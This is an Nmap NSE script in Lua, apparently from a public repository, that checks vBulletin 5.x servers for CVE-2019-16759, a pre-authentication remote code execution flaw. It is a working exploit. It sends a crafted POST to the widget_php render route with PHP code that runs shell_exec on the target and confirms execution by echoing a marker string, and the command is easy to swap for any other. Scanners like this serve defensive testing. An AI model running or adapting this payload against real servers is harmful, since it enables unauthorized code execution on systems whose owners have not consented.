89 lines
2.5 KiB
Lua
89 lines
2.5 KiB
Lua
description = [[
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vBulletin 5.x 0day pre-auth RCE exploit
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This should work on all versions from 5.0.0 till 5.5.4
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INSTALLATION
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$ git clone https://github.com/r00tpgp/http-vuln-CVE-2019-16759
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$ cd http-vuln-CVE-2019-16759/
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$ sudo cp http-vuln-CVE-2019-16759.nse /usr/share/nmap/scripts/
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$ sudo nmap --script http-vuln-CVE-2019-16759 -p 80 -sSV <target_ip_addr>
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]]
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local http = require "http"
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local shortport = require "shortport"
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local vulns = require "vulns"
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local stdnse = require "stdnse"
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local string = require "string"
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---
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-- @usage
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-- nmap -p <port> --script http-vuln-CVE-2019-16759 <target>
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--
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-- @output
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-- PORT STATE SERVICE
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-- s4430/tcp open http
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-- | http-vuln-CVE-2019-16759:
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-- | VULNERABLE
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-- | vBulletin 5.x 0day pre-auth RCE exploit
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-- | State: VULNERABLE
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-- | IDs: CVE:CVE-2019-16759
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-- |
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-- | Disclosure date: 2019-09-23
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-- | References:
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-- | https://seclists.org/fulldisclosure/2019/Sep/31
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-- |_ https://nvd.nist.gov/vuln/detail/CVE-2019-16759
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--
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-- @args http-vuln-cve2019-16759.path The default URL path to request. The default is "/".
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author = "r00tpgp"
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license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
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categories = { "vuln" }
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portrule = shortport.http
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action = function(host, port)
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local vuln = {
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title = "vBulletin 5.x 0day pre-auth RCE exploit",
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state = vulns.STATE.NOT_VULN,
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description = [[
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vBulletin 5.x 0day pre-auth RCE exploit
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This should work on all versions from 5.0.0 till 5.5.4
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]],
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IDS = {
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CVE = "CVE-2019-16759"
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},
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references = {
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'https://seclists.org/fulldisclosure/2019/Sep/31',
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'https://nvd.nist.gov/vuln/detail/CVE-2019-16759',
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},
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dates = {
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disclosure = { year = '2019', month = '09', day = '23' }
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}
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}
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local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
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local method = stdnse.get_script_args(SCRIPT_NAME..".method") or "POST"
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local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/index.php?routestring=ajax/render/widget_php"
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local body = {
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["widgetConfig[code]"] = "echo shell_exec(\'echo h4x0000r > /tmp/nmap.check.out; cat /tmp/nmap.check.out\');exit;",
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}
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local options = {
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header = {
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Connection = "close",
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["Content-Type"] = "application/x-www-form-urlencoded",
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["User-Agent"] = "curl/7.65.3",
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["Accept"] = "*/*",
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},
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content = body
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}
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local response = http.post(host, port, path, nil, nil, body)
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if response and string.match(response.body, "h4x0000r") then
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vuln.state = vulns.STATE.VULN
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end
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return vuln_report:make_output(vuln)
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end
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